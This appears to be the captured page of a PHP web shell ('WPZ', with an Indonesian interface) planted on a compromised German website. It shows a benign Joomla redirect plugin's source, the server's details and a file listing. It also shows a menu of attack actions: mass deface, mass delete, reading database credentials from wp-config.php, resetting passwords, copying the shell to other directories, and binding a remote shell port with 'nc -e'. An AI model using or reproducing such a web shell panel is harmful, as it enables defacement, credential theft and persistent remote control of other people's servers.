WPZ

berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/styroporzuschnitte24_ernst/plugins/system/redirect/redirect.php (3.34 KB)
<?php
/**
 * @copyright	Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('JPATH_BASE') or die;

/**
 * Plugin class for redirect handling.
 *
 * @package		Joomla.Plugin
 * @subpackage	System.redirect
 */
class plgSystemRedirect extends JPlugin
{
	/**
	 * Object Constructor.
	 *
	 * @access	public
	 * @param	object	The object to observe -- event dispatcher.
	 * @param	object	The configuration object for the plugin.
	 * @return	void
	 * @since	1.0
	 */
	function __construct(&$subject, $config)
	{
		parent::__construct($subject, $config);

		// Set the error handler for E_ERROR to be the class handleError method.
		JError::setErrorHandling(E_ERROR, 'callback', array('plgSystemRedirect', 'handleError'));
	}

	static function handleError(&$error)
	{
		// Get the application object.
		$app = JFactory::getApplication();

		// Make sure the error is a 404 and we are not in the administrator.
		if (!$app->isAdmin() and ($error->getCode() == 404))
		{
			// Get the full current URI.
			$uri = JURI::getInstance();
			$current = $uri->toString(array('scheme', 'host', 'port', 'path', 'query', 'fragment'));

			// Attempt to ignore idiots.
			if ((strpos($current, 'mosConfig_') !== false) || (strpos($current, '=http://') !== false)) {
				// Render the error page.
				JError::customErrorPage($error);
			}

			// See if the current url exists in the database as a redirect.
			$db = JFactory::getDBO();
				$db->setQuery(
				'SELECT '.$db->quoteName('new_url').', '.$db->quoteName('published').
				' FROM '.$db->quoteName('#__redirect_links') .
				' WHERE '.$db->quoteName('old_url').' = '.$db->quote($current),
				0, 1
			);
			$link = $db->loadObject();

			// If a redirect exists and is published, permanently redirect.
			if ($link and ($link->published == 1)) {
				$app->redirect($link->new_url, null, null, true, false);
			}
			else
			{
				$referer = empty($_SERVER['HTTP_REFERER']) ? '' : $_SERVER['HTTP_REFERER'];

				$db->setQuery('SELECT id FROM ' . $db->quoteName('#__redirect_links') . '  WHERE old_url= ' . $db->quote($current));
				$res = $db->loadResult();
				if(!$res) {

					// If not, add the new url to the database.
					 $query = $db->getQuery(true);
					 $query->insert($db->quoteName('#__redirect_links'), false);
					 $columns = array( $db->quoteName('old_url'),
									$db->quoteName('new_url'),
									$db->quoteName('referer'),
									$db->quoteName('comment'),
									$db->quoteName('hits'),
									$db->quoteName('published'),
									$db->quoteName('created_date')
								);
					$query->columns($columns);
				    $query->values($db->Quote($current). ', '. $db->Quote('').
				  				' ,'.$db->Quote($referer).', '.$db->Quote('').',1,0, '.
								  $db->Quote(JFactory::getDate()->toSql())
								);

					$db->setQuery($query);
					$db->query();

				} else {
					// Existing error url, increase hit counter
					$query = $db->getQuery(true);
					$query->update($db->quoteName('#__redirect_links'));
					$query->set($db->quoteName('hits').' = '.$db->quoteName('hits').' + 1');
					$query->where('id = '.(int)$res);
					$db->setQuery((string)$query);
					$db->query();
				}
				// Render the error page.
				JError::customErrorPage($error);
			}
		}
		else {
			// Render the error page.
			JError::customErrorPage($error);
		}
	}
}
namawaktuukuranownerpermaksi
..
index.html 2014-04-14 19:5731 B 76129f60960:kunden-xw-x-----
edt
redirect.php 2014-04-14 19:573.34 KB 76129f60960:kunden-xw-x-----
edt
redirect.xml 2014-04-14 19:57826 B 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/styroporzuschnitte24_ernst/plugins/system/redirect
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK